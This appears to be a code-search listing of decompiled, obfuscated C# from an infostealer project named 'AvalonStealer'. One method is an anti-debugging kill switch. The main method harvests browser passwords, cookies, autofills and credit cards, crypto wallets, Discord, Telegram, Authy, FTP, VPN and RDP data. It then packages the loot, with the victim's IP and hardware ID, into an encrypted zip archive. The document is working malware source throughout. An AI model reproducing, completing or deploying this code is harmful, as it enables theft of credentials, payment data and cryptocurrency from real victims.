コード例 #1
0
 // Token: 0x0600021B RID: 539 RVA: 0x00011884 File Offset: 0x0000FA84
 public static void smethod_260()
 {
     if (Class_84.\u032B\u0354\u034E\u032F\u0366\u0368\u0307\u033C\u0E47\u0333\u0345\u0353\u0020\u0352\u0345\u0325zdylgnkylhhanena\u0332\u0311\u031A\u0367\u0357\u0352\u036B\u0356\u0332\u0361\u0364\u035C\u0020\u0349\u0308\u0304eupkpbthvweozwih)
     {
         Class_81.smethod_240();
         Environment.FailFast("f**k you");
     }
 }
コード例 #2
0
ファイル: Class_46.cs プロジェクト: shinobiclan/AvalonStealer
 // Token: 0x060000ED RID: 237 RVA: 0x00008688 File Offset: 0x00006888
 public static void smethod_130()
 {
     if (Class_46.cmethod_134())
     {
         if (Class_84.\u0338\u0020\u030E\u0369\u0317\u0330\u0351\u033C\u0020\u0344\u0020\u0309\u0337\u035A\u0020\u0020aqwrqdordixflssi\u0020\u036B\u0316\u030E\u0349\u036D\u0317\u032E\u0020\u0357\u0020\u035B\u034A\u032F\u0306\u0349wwnvzprzhrfhwasd)
         {
             MessageBox.Show(Class_84.\u032F\u0329\u0363\u0356\u0304\u0320\u0489\u0309\u0342\u0326\u034E\u034E\u0332\u031D\u033D\u0315tofbfifqjjrmruqb\u0E47\u0308\u0E47\u0343\u0315\u0363\u0301\u0E47\u0331n\u036C\u0350\u032F\u0348\u0E47\u031Fohlxlrwsbdvwlucz, "explorer.exe", MessageBoxButtons.OK, MessageBoxIcon.Hand);
         }
         Class_81.smethod_240();
         Environment.FailFast("bye bye");
     }
 }
コード例 #3
0
ファイル: Class_53.cs プロジェクト: shinobiclan/AvalonStealer
        // Token: 0x06000126 RID: 294 RVA: 0x0000C0D0 File Offset: 0x0000A2D0
        public static void GetCollection()
        {
            Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals1 = new Class_53.< > c__DisplayClass6_0();
            Directory.CreateDirectory(Class_47.\u035A\u030C\u036Bc\u0326\u0020\u031D\u0331\u035E\u0020\u0020\u030D\u0020\u0368\u034Dtgxjqsczmshvyescj\u0367\u0339\u0309\u0310\u0349\u0309\u035D\u0020\u0020\u0333\u0E47t\u0326\u0355\u033C\u0339qftvsdyuclitenhm);
            Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals2 = CS$ < > 8__locals1;
            Task[] array = new Task[1];
            array[0] = new Task(delegate()
            {
                Class_57.a();
            });
            CS$ < > 8__locals2.t0 = array;
            Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals3 = CS$ < > 8__locals1;
            Task[] array2 = new Task[1];
            array2[0] = new Task(delegate()
            {
                Class_53.GetChromium();
            });
            CS$ < > 8__locals3.t1 = array2;
            Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals4 = CS$ < > 8__locals1;
            Task[] array3 = new Task[1];
            array3[0] = new Task(delegate()
            {
                Class_53.GetGecko();
            });
            CS$ < > 8__locals4.t2 = array3;
            Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals5 = CS$ < > 8__locals1;
            Task[] array4 = new Task[1];
            array4[0] = new Task(delegate()
            {
                Class_113.tmethod_412(Class_47.\u035A\u0020\u0359\u0E47\u0366\u0349\u0320\u0348\u034A\u0341\u0339\u034B\u0020\u032F\u0306\u0020zqzxlmywryhyzjxq\u0E47\u0020\u0349\u0315\u0E47\u0324\u0340i\u0303\u033C\u0E47\u0020\u0345\u035C\u034E\u0307aibpggrwzsglawli);
            });
            CS$ < > 8__locals5.t3 = array4;
            Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals6 = CS$ < > 8__locals1;
            Task[] array5 = new Task[1];
            array5[0] = new Task(delegate()
            {
                Class_56.gmethod_153(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr);
            });
            CS$ < > 8__locals6.t4 = array5;
            Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals7 = CS$ < > 8__locals1;
            Task[] array6 = new Task[1];
            array6[0] = new Task(delegate()
            {
                Class_13.gmethod_33(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr);
            });
            CS$ < > 8__locals7.t5 = array6;
            Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals8 = CS$ < > 8__locals1;
            Task[] array7 = new Task[1];
            array7[0] = new Task(delegate()
            {
                Class_3.tmethod_2(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr);
            });
            CS$ < > 8__locals8.t6 = array7;
            Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals9 = CS$ < > 8__locals1;
            Task[] array8 = new Task[1];
            array8[0] = new Task(delegate()
            {
                Class_10.xmethod_31(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr);
            });
            CS$ < > 8__locals9.t7 = array8;
            Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals10 = CS$ < > 8__locals1;
            Task[] array9 = new Task[1];
            array9[0] = new Task(delegate()
            {
                Class_91.dmethod_256(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr);
            });
            CS$ < > 8__locals10.t8 = array9;
            Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals11 = CS$ < > 8__locals1;
            Task[] array10 = new Task[1];
            array10[0] = new Task(delegate()
            {
                Class_7.pmethod_9(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr);
            });
            CS$ < > 8__locals11.t9 = array10;
            Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals12 = CS$ < > 8__locals1;
            Task[] array11 = new Task[1];
            array11[0] = new Task(delegate()
            {
                Class_17.cmethod_44(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr);
            });
            CS$ < > 8__locals12.t11 = array11;
            Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals13 = CS$ < > 8__locals1;
            Task[] array12 = new Task[1];
            array12[0] = new Task(delegate()
            {
                Class_54.xmethod_151(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr);
            });
            CS$ < > 8__locals13.t12 = array12;
            Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals14 = CS$ < > 8__locals1;
            Task[] array13 = new Task[1];
            array13[0] = new Task(delegate()
            {
                Class_14.vmethod_35(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr);
            });
            CS$ < > 8__locals14.t13 = array13;
            Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals15 = CS$ < > 8__locals1;
            Task[] array14 = new Task[1];
            array14[0] = new Task(delegate()
            {
                Class_11.tmethod_32(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr);
            });
            CS$ < > 8__locals15.t14 = array14;
            Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals16 = CS$ < > 8__locals1;
            Task[] array15 = new Task[1];
            array15[0] = new Task(delegate()
            {
                Class_96.vmethod_265();
            });
            CS$ < > 8__locals16.t15 = array15;
            Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals17 = CS$ < > 8__locals1;
            Task[] array16 = new Task[1];
            array16[0] = new Task(delegate()
            {
                Class_83.kmethod_247();
            });
            CS$ < > 8__locals17.t16 = array16;
            try
            {
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t0;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t1;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t2;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t3;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t4;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t5;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t6;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t7;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t8;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t9;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t11;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t12;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t13;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t14;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t15;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t16;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                Task.WaitAll(CS$ < > 8__locals1.t0);
                Task.WaitAll(CS$ < > 8__locals1.t1);
                Task.WaitAll(CS$ < > 8__locals1.t2);
                Task.WaitAll(CS$ < > 8__locals1.t3);
                Task.WaitAll(CS$ < > 8__locals1.t4);
                Task.WaitAll(CS$ < > 8__locals1.t5);
                Task.WaitAll(CS$ < > 8__locals1.t6);
                Task.WaitAll(CS$ < > 8__locals1.t7);
                Task.WaitAll(CS$ < > 8__locals1.t8);
                Task.WaitAll(CS$ < > 8__locals1.t9);
                Task.WaitAll(CS$ < > 8__locals1.t11);
                Task.WaitAll(CS$ < > 8__locals1.t12);
                Task.WaitAll(CS$ < > 8__locals1.t13);
                Task.WaitAll(CS$ < > 8__locals1.t14);
                Task.WaitAll(CS$ < > 8__locals1.t15);
                Task.WaitAll(CS$ < > 8__locals1.t16);
            }
            catch
            {
            }
            GC.Collect();
            try
            {
                Class_2.xmethod_1(Class_47.\u0369ส\u033E\u0020\u035A\u0302\u0317\u0E47\u0340\u0E47\u035A\u0E47\u0E47\u0306\u0343\u0020pgdvbwunpknbmfun\u036B\u0020\u0E47\u0343\u0330\u0308\u0331\u0E47\u0020\u0329\u0342\u0342\u0367\u030B\u0306\u0353vsdojrfcpthshyaq);
            }
            catch
            {
            }
            try
            {
                Class_57.b();
                Class_93.Copy();
            }
            catch
            {
            }
            Class_5.field_4.Clear();
            Class_5.field_5.Clear();
            Class_5.field_6.Clear();
            GC.Collect();
            string s = string.Concat(new string[]
            {
                "<!DOCTYPE html>\n<html>\n<body>\n<style>\nbody {\nbackground-image: url('https://steamcdn-a.akamaihd.net/steamcommunity/public/images/items/383690/f7a121a3f7a929ffb4dbc3ae241b3b4b6eaaed1d.jpg');\nbackground-repeat: no-repeat;\nbackground-attachment: fixed;\nbackground-size: 100% 100%;\n}\n</style>\n<center>\n<h1 style=\"color:white\">",
                Class_103.field_0,
                "</h1>\n<p style=\"color:white\">\ud83d\udc64 ",
                Class_47.\u0020\u032C\u0320\u0320\u0020\u0020\u035A\u035C\u0333\u030C\u0020\u0369t\u0363\u0E47สhjbpdmmozxipixxd\u0020\u035C\u0020\u0316\u0348\u0489\u0489\u0332\u0324\u0020\u0020\u0317\u0356\u0359\u035A\u033Cukafaffmbwlfhjuf,
                "/",
                Class_47.\u034A\u0367\u0320\u030E\u0E47\u0356\u0E47\u0020\u0E47\u035E\u033A\u0307\u0364\u0325\u033A\u0347wojyhmunazhfiuxb\u0320\u036B\u0347\u035D\u0313\u0332\u036F\u034D\u0331\u031A\u0340\u036A\u0366\u035C\u0364\u0308xbwcnquhcfkvrrhm,
                "</p>\n<p style=\"color:white\">\ud83c\udff4 IP: ",
                Class_47.IP(),
                Class_47.Country(),
                Class_47.checc(),
                "</p>\n<h2 style=\"color:white\">\ud83c\udf10 Browsers Data</h2>\n<p style=\"color:white;margin-left:-6em\">   ∟\ud83d\udd11</p>\n<p style=\"color:white;margin-left:3em\">     ∟Chromium: ",
                Class_49.field_1.ToString(),
                "</p>\n<p style=\"color:white;margin-left:-1.5em\">     ∟Edge: ",
                Class_113.field_0.ToString(),
                "</p>\n<p style=\"color:white;margin-left:-0.9em\">     ∟Gecko: ",
                Class_78.\u0340\u035A\u0020\u0020\u0320\u034E\u035Ct\u033C\u030C\u0361\u0329\u0338\u0342\u032E\u0E47vktldwvagjgorsqs\u0020\u033F\u0339\u0020\u0342\u0489\u0342\u0342\u0309\u0308\u0358\u0348\u0329\u035C\u0310ixunljsevrvauyudk.ToString(),
                "</p>\n<p style=\"color:white;margin-left:-4em\">   ∟\ud83c\udf6a",
                (Class_49.field_4 + Class_78.\u036B\u034B\u031F\u031D\u0E47\u031C\u0301\u034E\u0353\u0306\u0347\u033D\u0331\u0353\u0343\u0020hupvdimgmomeaylzst\u0303\u035D\u033F\u035B\u0309\u0020\u032E\u032F\u0348\u0359\u034B\u0020\u0489\u035Blscnvhohzjystpki).ToString(),
                "</p>\n<p style=\"color:white;margin-left:-4em\">   ∟\ud83d\udd51",
                Class_49.field_5.ToString(),
                "</p>\n<p style=\"color:white;margin-left:-4.5em\">   ∟\ud83d\udcdd",
                Class_49.field_2.ToString(),
                "</p>\n<p style=\"color:white;margin-left:-5.5em\">   ∟\ud83d\udcb3",
                Class_49.field_6.ToString(),
                "</p>\n<p style=\"color:white;margin-left:-4.8em\">   ∟⨭",
                Class_49.field_3.ToString(),
                "</p>\n<p style=\"color:white\">\ud83d\udcb6 Wallets: ",
                (Class_54.field_0 > 0) ? "✅" : "❌",
                (Class_79.field_0 > 0) ? " Electrum" : "",
                (Class_73.field_0 > 0) ? " Armory" : "",
                (Class_4.field_0 > 0) ? " Atomic" : "",
                (Class_20.field_0 > 0) ? " BitcoinCore" : "",
                (Class_80.field_0 > 0) ? " Bytecoin" : "",
                (Class_94.field_0 > 0) ? " DashCore" : "",
                (Class_18.field_0 > 0) ? " Ethereum" : "",
                (Class_90.field_0 > 0) ? " Exodus" : "",
                (Class_6.field_0 > 0) ? " LitecoinCore" : "",
                (Class_55.field_0 > 0) ? " Monero" : "",
                (Class_89.field_0 > 0) ? " Zcash" : "",
                (Class_15.field_0 > 0) ? " Jaxx" : "",
                "</p>\n<p style=\"color:white\">\ud83d\udcc2 FileGrabber: ",
                Class_5.field_1.ToString(),
                "</p>\n<p style=\"color:white\">\ud83d\udcb0 Recursive Wallets: ",
                Class_5.field_3.ToString(),
                "</p>\n<p style=\"color:white\">\ud83d\udda5 RDP: ",
                Class_5.field_2.ToString(),
                "</p>\n<p style=\"color:white\">\ud83d\udcac Discord: ",
                (Class_17.field_0 > 0) ? "✅" : "❌",
                "</p>\n<p style=\"color:white\">✈️ Telegram: ",
                (Class_96.field_0 > 0) ? "✅" : "❌",
                "</p>\n<p style=\"color:white\">\ud83d\udca1 Jabber: ",
                (Class_11.field_0 + Class_74.field_0 > 0) ? "✅" : "❌",
                (Class_74.field_0 > 0) ? (" Pidgin (" + Class_74.field_1.ToString() + ")") : "",
                (Class_11.field_0 > 0) ? " Psi" : "",
                "</p>\n<h2 style=\"color:white\">\ud83d\udce1 FTP</h2>\n<p style=\"color:white\">   ∟ FileZilla: ",
                (Class_13.field_0 > 0) ? ("✅ (" + Class_13.field_0.ToString() + ")") : "❌",
                "</p>\n<p style=\"color:white\">   ∟ TotalCmd: ",
                (Class_3.field_0 > 0) ? "✅" : "❌",
                "</p>\n<h2 style=\"color:white\">\ud83d\udd0c VPN</h2>\n<p style=\"color:white\">   ∟ NordVPN: ",
                (Class_7.field_0 > 0) ? "✅" : "❌",
                "</p>\n<p style=\"color:white\">   ∟ OpenVPN: ",
                (Class_91.field_0 > 0) ? "✅" : "❌",
                "</p>\n<p style=\"color:white\">   ∟ ProtonVPN: ",
                (Class_10.field_0 > 0) ? "✅" : "❌",
                "</p>\n<p style=\"color:white\">\ud83c\udd94 HWID: ",
                Class_47.\u030C\u0360\u0352\u0330\u0020\u0345\u034D\u031F\u0317\u0020\u036F\u032F\u0335\u0303\u0020\u0348btjzcydnmobecrmu\u0E47\u0E47\u0363\u0E47r\u0367\u0323\u0347\u0331\u0347\u032C\u0348\u0332\u035F\u036B\u034Eplwrzxwpllzxvpwz,
                "</p>\n<p style=\"color:white\">⚙️ ",
                Class_14.smethod_40(),
                "</p>\n<p style=\"color:white\">\ud83d\udd0e ",
                Class_53.\u0020\u0313\u0353\u0020\u0E47\u031A\u0353\u0329\u033C\u0344\u034D\u0020\u0363\u036F\u031A\u0301awhgtmkxagkekicb\u0313\u0020\u0354\u032D\u035C\u0E47\u031A\u035Bt\u036B\u0E47\u036B\u0307\u035C\u0313\u0020riftwyloclvluvlf,
                "</p>\n</center>\n</body>\n</html>"
            });
            string s2 = string.Concat(new string[]
            {
                Class_103.field_0,
                "\nComputer: ",
                Class_47.\u0020\u032C\u0320\u0320\u0020\u0020\u035A\u035C\u0333\u030C\u0020\u0369t\u0363\u0E47สhjbpdmmozxipixxd\u0020\u035C\u0020\u0316\u0348\u0489\u0489\u0332\u0324\u0020\u0020\u0317\u0356\u0359\u035A\u033Cukafaffmbwlfhjuf,
                "/",
                Class_47.\u034A\u0367\u0320\u030E\u0E47\u0356\u0E47\u0020\u0E47\u035E\u033A\u0307\u0364\u0325\u033A\u0347wojyhmunazhfiuxb\u0320\u036B\u0347\u035D\u0313\u0332\u036F\u034D\u0331\u031A\u0340\u036A\u0366\u035C\u0364\u0308xbwcnquhcfkvrrhm,
                "\nIP: ",
                Class_47.IP(),
                Class_47.Country(),
                Class_47.checc(),
                "\nBrowsers Data\n   ∟Passwords:\n     ∟Chromium: ",
                Class_49.field_1.ToString(),
                "\n     ∟Edge: ",
                Class_113.field_0.ToString(),
                "\n     ∟Gecko: ",
                Class_78.\u0340\u035A\u0020\u0020\u0320\u034E\u035Ct\u033C\u030C\u0361\u0329\u0338\u0342\u032E\u0E47vktldwvagjgorsqs\u0020\u033F\u0339\u0020\u0342\u0489\u0342\u0342\u0309\u0308\u0358\u0348\u0329\u035C\u0310ixunljsevrvauyudk.ToString(),
                "\n   ∟Cookies:",
                (Class_49.field_4 + Class_78.\u036B\u034B\u031F\u031D\u0E47\u031C\u0301\u034E\u0353\u0306\u0347\u033D\u0331\u0353\u0343\u0020hupvdimgmomeaylzst\u0303\u035D\u033F\u035B\u0309\u0020\u032E\u032F\u0348\u0359\u034B\u0020\u0489\u035Blscnvhohzjystpki).ToString(),
                "\n   ∟History:",
                Class_49.field_5.ToString(),
                "\n   ∟Autofills:",
                Class_49.field_2.ToString(),
                "\n   ∟CC:",
                Class_49.field_6.ToString(),
                "\n   ∟Downloads:",
                Class_49.field_3.ToString(),
                "\nWallets: ",
                (Class_54.field_0 > 0) ? "Yes" : "No",
                (Class_79.field_0 > 0) ? " Electrum" : "",
                (Class_73.field_0 > 0) ? " Armory" : "",
                (Class_4.field_0 > 0) ? " Atomic" : "",
                (Class_20.field_0 > 0) ? " BitcoinCore" : "",
                (Class_80.field_0 > 0) ? " Bytecoin" : "",
                (Class_94.field_0 > 0) ? " DashCore" : "",
                (Class_18.field_0 > 0) ? " Ethereum" : "",
                (Class_90.field_0 > 0) ? " Exodus" : "",
                (Class_6.field_0 > 0) ? " LitecoinCore" : "",
                (Class_55.field_0 > 0) ? " Monero" : "",
                (Class_89.field_0 > 0) ? " Zcash" : "",
                (Class_15.field_0 > 0) ? " Jaxx" : "",
                "\nFileGrabber: ",
                Class_5.field_1.ToString(),
                "\nRecursive Wallets: ",
                Class_5.field_3.ToString(),
                "\nRDP: ",
                Class_5.field_2.ToString(),
                "\nDiscord: ",
                (Class_17.field_0 > 0) ? "Yes" : "No",
                "\nTelegram: ",
                (Class_96.field_0 > 0) ? "Yes" : "No",
                "\nJabber: ",
                (Class_11.field_0 + Class_74.field_0 > 0) ? "Yes" : "No",
                (Class_74.field_0 > 0) ? (" Pidgin (" + Class_74.field_1.ToString() + ")") : "",
                (Class_11.field_0 > 0) ? " Psi" : "",
                "\nFTP\n   ∟ FileZilla: ",
                (Class_13.field_0 > 0) ? ("Yes (" + Class_13.field_0.ToString() + ")") : "No",
                "\n   ∟ TotalCmd: ",
                (Class_3.field_0 > 0) ? "Yes" : "No",
                "\nVPN\n   ∟ NordVPN: ",
                (Class_7.field_0 > 0) ? "Yes" : "No",
                "\n   ∟ OpenVPN: ",
                (Class_91.field_0 > 0) ? "Yes" : "No",
                "\n   ∟ ProtonVPN: ",
                (Class_10.field_0 > 0) ? "Yes" : "No",
                "\nHWID: ",
                Class_47.\u030C\u0360\u0352\u0330\u0020\u0345\u034D\u031F\u0317\u0020\u036F\u032F\u0335\u0303\u0020\u0348btjzcydnmobecrmu\u0E47\u0E47\u0363\u0E47r\u0367\u0323\u0347\u0331\u0347\u032C\u0348\u0332\u035F\u036B\u034Eplwrzxwpllzxvpwz,
                "\nDomains: ",
                Class_53.\u0020\u0313\u0353\u0020\u0E47\u031A\u0353\u0329\u033C\u0344\u034D\u0020\u0363\u036F\u031A\u0301awhgtmkxagkekicb\u0313\u0020\u0354\u032D\u035C\u0E47\u031A\u035Bt\u036B\u0E47\u036B\u0307\u035C\u0313\u0020riftwyloclvluvlf
            });

            Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr + "\\Information.html", Class_47.RC4(Encoding.UTF8.GetBytes(s)));
            Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr + "\\Information_Simplified.txt", Class_47.RC4(Encoding.UTF8.GetBytes(s2)));
            string str_ = string.Concat(new string[]
            {
                Class_47.\u035A\u030C\u036Bc\u0326\u0020\u031D\u0331\u035E\u0020\u0020\u030D\u0020\u0368\u034Dtgxjqsczmshvyescj\u0367\u0339\u0309\u0310\u0349\u0309\u035D\u0020\u0020\u0333\u0E47t\u0326\u0355\u033C\u0339qftvsdyuclitenhm,
                "\\",
                Class_47.\u034A\u0367\u0320\u030E\u0E47\u0356\u0E47\u0020\u0E47\u035E\u033A\u0307\u0364\u0325\u033A\u0347wojyhmunazhfiuxb\u0320\u036B\u0347\u035D\u0313\u0332\u036F\u034D\u0331\u031A\u0340\u036A\u0366\u035C\u0364\u0308xbwcnquhcfkvrrhm,
                "_",
                Class_47.\u0020\u032C\u0320\u0320\u0020\u0020\u035A\u035C\u0333\u030C\u0020\u0369t\u0363\u0E47สhjbpdmmozxipixxd\u0020\u035C\u0020\u0316\u0348\u0489\u0489\u0332\u0324\u0020\u0020\u0317\u0356\u0359\u035A\u033Cukafaffmbwlfhjuf,
                Class_47.CountryCOde(),
                ".zip"
            });

            using (Class_168 class_ = new Class_168(Encoding.GetEncoding("cp866")))
            {
                class_.prop_34 = -1L;
                class_.prop_17 = Class_169.Always;
                class_.prop_9  = Class_202.BestCompression;
                class_.prop_27 = Class_84.\u031D\u036F\u035C\u0345\u0363\u036F\u035C\u036D\u0325\u0343\u034C\u034A\u030D\u0323\u0020\u033Cozrlltgxsptyshzx\u032A\u0343\u0359\u035A\u0323\u0E47\u0340\u0313\u0328\u0351\u0349\u0320t\u0E47\u0331\u032Fyopertjvrnpgnfxb;
                foreach (KeyValuePair <string, byte[]> keyValuePair in Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln)
                {
                    class_.vmethod_775(keyValuePair.Key, Class_47.RC4(keyValuePair.Value));
                }
                foreach (KeyValuePair <string, string> keyValuePair2 in Class_53.\u0324\u0020\u0327\u0348\u0333\u0305\u0345\u0329\u0348\u0E47\u0020\u0335\u0E47\u0316\u0302\u0320ywdncahgxwtxiviz\u0352\u0349\u0323\u0320\u0369\u031F\u0358\u033F\u0E47\u0332\u0020\u0020\u0E47\u0327\u0E47\u0020iilbfxumjrfxqonp)
                {
                    try
                    {
                        class_.pmethod_749(keyValuePair2.Key, keyValuePair2.Value);
                    }
                    catch
                    {
                    }
                }
                if (Class_96.field_2 != null)
                {
                    class_.lmethod_778(Class_96.field_2, Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr + "\\Telegram");
                }
                if (Class_83.field_0 != null)
                {
                    class_.lmethod_778(Class_83.field_0, Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr + "\\Authy");
                }
                class_.smethod_930(str_);
                Class_47.DeleteDirectory(Class_96.field_2);
                Class_47.DeleteDirectory(Class_83.field_0);
            }
            Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Clear();
